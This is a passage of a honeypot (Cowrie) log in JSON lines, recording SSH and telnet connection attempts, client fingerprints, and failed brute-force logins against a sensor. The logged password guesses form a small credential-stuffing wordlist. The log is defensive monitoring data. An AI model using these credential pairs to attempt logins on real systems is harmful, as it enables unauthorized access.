"ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:14.828809Z","src_ip":"185.239.84.249","session":"bd8e84f5e1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123qwe","message":"login attempt [root/root123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:15.259218Z","src_ip":"185.239.84.249","session":"bd8e84f5e1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:16.476271Z","src_ip":"185.239.84.249","session":"bd8e84f5e1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42138,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d153404fccd","protocol":"ssh","message":"New connection: 159.203.92.129:42138 (159.203.135.109:22) [session: 7d153404fccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:23.020137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:23.025193Z","src_ip":"159.203.92.129","session":"7d153404fccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:23.033772Z","src_ip":"159.203.92.129","session":"7d153404fccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root!23","message":"login attempt [admin/root!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:23.046707Z","src_ip":"159.203.92.129","session":"7d153404fccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:24.053038Z","src_ip":"159.203.92.129","session":"7d153404fccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":51480,"dst_ip":"159.203.135.109","dst_port":23,"session":"c736ce88645c","protocol":"telnet","message":"New connection: 46.4.8.162:51480 (159.203.135.109:23) [session: c736ce88645c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:25.707027Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":10094,"dst_ip":"159.203.135.109","dst_port":22,"session":"35e1f1d41e95","protocol":"ssh","message":"New connection: 2.57.121.25:10094 (159.203.135.109:22) [session: 35e1f1d41e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:29.927833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:29.932581Z","src_ip":"2.57.121.25","session":"35e1f1d41e95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:30.036417Z","src_ip":"2.57.121.25","session":"35e1f1d41e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gfhjkm12","message":"login attempt [user/gfhjkm12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:30.531415Z","src_ip":"2.57.121.25","session":"35e1f1d41e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gfcgjhn","message":"login attempt [user/gfcgjhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:31.637556Z","src_ip":"2.57.121.25","session":"35e1f1d41e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"getsdown","message":"login attempt [user/getsdown] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:32.744076Z","src_ip":"2.57.121.25","session":"35e1f1d41e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"georgia1","message":"login attempt [user/georgia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:33.850497Z","src_ip":"2.57.121.25","session":"35e1f1d41e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"geology","message":"login attempt [user/geology] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:34.957269Z","src_ip":"2.57.121.25","session":"35e1f1d41e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:36.064378Z","src_ip":"2.57.121.25","session":"35e1f1d41e95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":48602,"dst_ip":"10.17.0.5","dst_port":22,"session":"94e10d780737","protocol":"ssh","message":"New connection: 212.154.234.9:48602 (10.17.0.5:22) [session: 94e10d780737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:36.358797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:36.364961Z","src_ip":"212.154.234.9","session":"94e10d780737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:36.549999Z","src_ip":"212.154.234.9","session":"94e10d780737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"azerty","message":"login attempt [postgres/azerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:37.321326Z","src_ip":"212.154.234.9","session":"94e10d780737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:38.509841Z","src_ip":"212.154.234.9","session":"94e10d780737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":35672,"dst_ip":"159.203.135.109","dst_port":23,"session":"8308652cbaf4","protocol":"telnet","message":"New connection: 46.4.8.162:35672 (159.203.135.109:23) [session: 8308652cbaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:40.283620Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.62.247","src_port":47946,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb44c5b06ec1","protocol":"telnet","message":"New connection: 165.227.62.247:47946 (159.203.135.109:23) [session: cb44c5b06ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:48.191931Z"}
{"eventid":"cowrie.session.closed","duration":1.4093906879425049,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:49.601202Z","src_ip":"165.227.62.247","session":"cb44c5b06ec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.62.247","src_port":48642,"dst_ip":"159.203.135.109","dst_port":23,"session":"23586770955a","protocol":"telnet","message":"New connection: 165.227.62.247:48642 (159.203.135.109:23) [session: 23586770955a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:49.655139Z"}
{"eventid":"cowrie.session.closed","duration":0.010684728622436523,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:49.665713Z","src_ip":"165.227.62.247","session":"23586770955a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.62.247","src_port":48830,"dst_ip":"159.203.135.109","dst_port":23,"session":"48c6daa198c6","protocol":"telnet","message":"New connection: 165.227.62.247:48830 (159.203.135.109:23) [session: 48c6daa198c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:49.908899Z"}
{"eventid":"cowrie.session.closed","duration":0.011223316192626953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:49.919914Z","src_ip":"165.227.62.247","session":"48c6daa198c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.62.247","src_port":48936,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecf53110e21a","protocol":"telnet","message":"New connection: 165.227.62.247:48936 (159.203.135.109:23) [session: ecf53110e21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:50.141364Z"}
{"eventid":"cowrie.session.closed","duration":0.00485992431640625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:50.146130Z","src_ip":"165.227.62.247","session":"ecf53110e21a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.64.77","src_port":43900,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b4da1cf22d9","protocol":"ssh","message":"New connection: 118.196.64.77:43900 (10.17.0.5:22) [session: 0b4da1cf22d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:57.074383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:57.078908Z","src_ip":"118.196.64.77","session":"0b4da1cf22d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:57.298358Z","src_ip":"118.196.64.77","session":"0b4da1cf22d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"1234567","message":"login attempt [test2/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:58.212667Z","src_ip":"118.196.64.77","session":"0b4da1cf22d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:43:59.435535Z","src_ip":"118.196.64.77","session":"0b4da1cf22d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.364408016204834,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:02.071311Z","src_ip":"46.4.8.162","session":"c736ce88645c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41506,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ff1efc7f8a2","protocol":"ssh","message":"New connection: 159.203.92.129:41506 (159.203.135.109:22) [session: 9ff1efc7f8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:05.150833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:05.156955Z","src_ip":"159.203.92.129","session":"9ff1efc7f8a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:05.163041Z","src_ip":"159.203.92.129","session":"9ff1efc7f8a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root!@123","message":"login attempt [admin/root!@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:05.182771Z","src_ip":"159.203.92.129","session":"9ff1efc7f8a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:06.190629Z","src_ip":"159.203.92.129","session":"9ff1efc7f8a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.7012619972229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:11.984770Z","src_ip":"46.4.8.162","session":"8308652cbaf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":57616,"dst_ip":"159.203.135.109","dst_port":22,"session":"55b07208527e","protocol":"ssh","message":"New connection: 185.239.84.249:57616 (159.203.135.109:22) [session: 55b07208527e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:15.483609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:15.489744Z","src_ip":"185.239.84.249","session":"55b07208527e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:15.715132Z","src_ip":"185.239.84.249","session":"55b07208527e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345Qwert","message":"login attempt [root/12345Qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:16.378436Z","src_ip":"185.239.84.249","session":"55b07208527e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:17.609886Z","src_ip":"185.239.84.249","session":"55b07208527e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50356,"dst_ip":"159.203.135.109","dst_port":22,"session":"abba9f905c9d","protocol":"ssh","message":"New connection: 159.203.92.129:50356 (159.203.135.109:22) [session: abba9f905c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:47.122752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:44:47.128863Z","src_ip":"159.203.92.129","session":"abba9f905c9d","protocol":"ssh"}
